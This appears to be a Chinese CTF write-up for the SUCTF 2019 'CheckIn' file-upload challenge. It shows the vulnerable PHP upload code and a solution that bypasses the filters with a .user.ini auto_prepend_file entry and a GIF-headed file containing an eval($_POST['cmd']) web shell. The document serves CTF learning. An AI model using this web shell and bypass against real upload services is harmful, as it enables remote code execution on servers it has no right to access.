来源: SUCTF 2019

CheckIn

感谢p4ssw0rd学长和南开的QHX学长, 在他们的指导下菜逼我终于搞出了这道题.

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>

<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htaccess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

题目特点:

  • 一看就是文件上传漏洞
  • 会给出上传文件的目录
  • 上传文件所在得目录下会自带个index.php, 这是一个关键的突破口.
  • 会给出上传目录的ls的 var_dump .

题目难点:

  • 文件后缀名检测, 这让我们没法直接上传.php文件.
  • 文件内容(首部)检测, 只能是图片格式.
  • 检测<?, 一句话木马不能用最常用的写法了.

题目解法(可能不唯一):

因为我们没法上传php文件, 所以一定要让我们的马在 index.php 里运行.
这就会用到文件包含漏洞.

和我之前见到的include "xxx.xxx"不同, 这里需要用到文件.user.iniauto_prepend_file=filename.xxx.

在这道题的配置中, 如果web目录下有上述的配置文件, 就可以在运行index.php时先解析filename.xxx文件. 而且可以是任何后缀的文件.

虽然不能写<?php php_code ?>这种形式, 但是可以用<script language="php">php_code</sript>代替.

对于图片内容的检测, 如果我们以gif文件作为payload, 只需要加上GIF89A即可绕过. (仅对于本题中的exif_imagetype()函数及类似的检测方式.)

几个常见的文件头
|文件类型|文件头|文件尾|
|:—|:—|:—|
|PNG|89504E47|AE426082|
|GIF|47494638|003B|
|JPEG|FFD8FF|FFD9|
|ZIP|504B0304|504B|
|PDF|255044462D|—-|

还有一些不是很常用的

总之

.user.ini

1
2
GIF
auto_prepend_file=home.gif

home.gif

1
2
GIF
<script language="php">eval($_POST['cmd']);</script>

上传这两个文件后, 在访问同一目录下的 index.php , 我们的代码就被执行了.

flag: SUCTF{U5er_1n1_01d_TR1ck}

完.